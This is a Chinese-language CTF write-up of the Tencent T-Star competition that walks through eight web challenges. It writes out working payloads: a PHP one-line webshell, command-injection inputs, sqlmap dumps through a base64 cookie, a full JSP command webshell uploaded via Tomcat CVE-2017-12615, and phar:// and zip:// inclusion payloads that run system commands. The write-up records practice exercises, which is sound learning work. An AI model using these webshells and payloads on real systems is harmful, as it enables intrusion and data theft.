騰訊T-Star高校挑戰賽

0X00前言

以組隊形式參加的賽事,一個月前找到了三位好友組團參賽(都是小白啦,包括我)
記錄一下賽題~
 

0X01賽題

一、簽到 —— 文件上傳js繞過

Upload-labs上的第一題
首先,先上傳一個正常.txt或.jpg文件測試是否能夠正常上傳,結果是可以正常上傳。然後,再上傳一個已經寫好一句話木馬的php文件,上傳的php文件內容爲:<?php eval($_POST['cmd']);?>
此時,有彈窗提示文件類型限制,上傳失敗。
根據經驗,我們開始排查漏洞,先查看網頁源代碼,在代碼尾發現上傳文件的類型限制是由前端JavaScript完成。那麼只需要在瀏覽器上禁用前端JavaScript即可。
網頁源代碼:
在這裏插入圖片描述
禁用之後我們再次上傳,此時腳本上傳成功。上傳成功之後會返回路徑,我們可以用菜刀連接shell。在菜刀中添加,輸入腳本文件的路徑,輸入密碼cmd,連接成功。
查看網站目錄,在www目錄下發現key文件,打開即是flag。
在這裏插入圖片描述

二、命令執行基礎

DVWA命令執行原題
頁面是一個輸入IP地址返回ping結果的界面。首先,我們先輸入一個IP地址查看返回結果。
在這裏插入圖片描述
如上,發現返回結果是命令行裏的直接輸出!此時,根據命令執行的基礎知識,使用&連接我們執行的命令,例如,輸入192.168.44.132&ls -l,嘗試命令執行漏洞,結果如下,查詢目錄成功,接下來遍歷目錄:
在這裏插入圖片描述使用命令1&ls …訪問上一層目錄,此處發現key.php文件:
在這裏插入圖片描述
讀取此文件,命令:1 & cat …/key.php,得到flag
 

三、你能爆破嗎——cookie注入

根據題意,使用burp suite爆破。(事先可以使用弱口令登錄)
我們先抓包到burp suite,將一下部分發送到intruder進行爆破。
添加爆破的payload admin和pass兩個,爆破方式選擇Cluster bomb。使用我們自己有的常用用戶名和密碼字典,分別對用戶名和密碼爆破。
完整過程比較漫長,但是好在用戶名密碼比較常見,通過length判斷,都是admin,admin 。
在這裏插入圖片描述
我們回到原來頁面輸出用戶密碼,返回如下:
在這裏插入圖片描述
刷新界面抓包,抓到的POST包裏存在cookie參數,並且發現cookie是經過base64加密的,結合題目提示,嘗試對其進行爆破。
將抓到的包保存爲txt文件,使用sqlmap工具對cookie參數進行爆破,-p指定參數,–tamper指定腳本,–level指定等級,-dbs爆數據庫,代碼如下:

python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 –dbs

發現確實存在注入點,拿到數據庫:
在這裏插入圖片描述
排除其他數據庫,我們要的應該是security,爆表:

python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security --tables
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security -T flag --columns
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security -T flag -C flag --dump

讀取出來的flag
在這裏插入圖片描述

四、成績單

聽說又是以前一個賽事的原題
按照界面預輸出,我們輸入1,2,3,輸出回顯三個數和一個名字。非常熟悉的sql注入界面了,我們開始在burp suite抓包。
POST包傳遞id參數:
在這裏插入圖片描述
遇上題類似,我們保存抓包數據到txt文件,使用sqlmap爆破。使用命令爆數據庫:

python sqlmap.py -r 2.txt -p id --level 2 --dbs
python sqlmap.py -r 2.txt -p id --level 2 -D web1 --tables
python sqlmap.py -r 2.txt -p id --level 2 -D web1 -T fl4g --columns
python sqlmap.py -r 2.txt -p id --level 2 -D web1 -T fl4g -C flag --dump

成功拿到flag
在這裏插入圖片描述

五、小貓咪踩燈泡

Tomcat(CVE-2017-12615)
payload:測試任意文件上傳
利用burpsuite 進行抓包。發送到repeater,修改GET請求爲PUT,修改名字shell.jsp,下面添加jsp的shell

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}returnline.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

訪問文件,發現上傳成功:
在這裏插入圖片描述
執行遠程命令,?&pwd=023&cmd=ls
在這裏插入圖片描述
最後執行獲取flag命令:?&pwd=023&cmd=cat flag.txt 拿到flag
在這裏插入圖片描述

六、文件上傳

經過不斷fuzz得出以下過濾

黑名單後綴 + content-type檢測 + 內容頭部檢測 + 內容大小檢測
內容敏感字符過濾(可雙寫繞過)
在這裏插入圖片描述
在這裏插入圖片描述

七、文件包含getshell —— phar://

upload頁面只可以上傳txt後綴文件

查看lfi.txt,發現可以文件包含
在這裏插入圖片描述
準備一個zip文件,裏面是1.php,具體如下,並且重命名爲1.txt,然後上傳
在這裏插入圖片描述
通過phar://僞協議執行命令
lif.php?file=phar://files/s2afSfGk37Bder1.txt/1&1=phpinfo();
(一般情況下) lif.php?file=phar://files/s2afSfGk37Bder1.txt/1.php&1=phpinfo();
通過zip://僞協議執行命令
lif.php?file=zip://files/s2afSfGk37Bder1.txt#1&1=phpinfo();

拿flag
lif.php?file=phar://files/s2afSfGk37Bder1.txt/1&1=system(‘cat flag.php’);
在這裏插入圖片描述

八、分析代碼

是不是聯想到7字符或者5字符的文件寫入(但是好像我試着不行)
在這裏插入圖片描述
有個猥瑣的思路:用cat命令讀上一級目錄的key
先寫入cat文件
.com/?1=>cat
然後看到key是在上層目錄
.com/?1=ls …/
然後直接使用cat來讀取 * …/*
輸入通配符* ,Linux會把第一個列出的cat文件名當作命令,剩下的文件名當作參數。相當於cat …/* 後面的*相當於讀取了該目錄下所有文件

 
GOT IT!
收穫還是有的。學到了奇葩姿勢讓自己也猥瑣起來

 
******************************************************

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章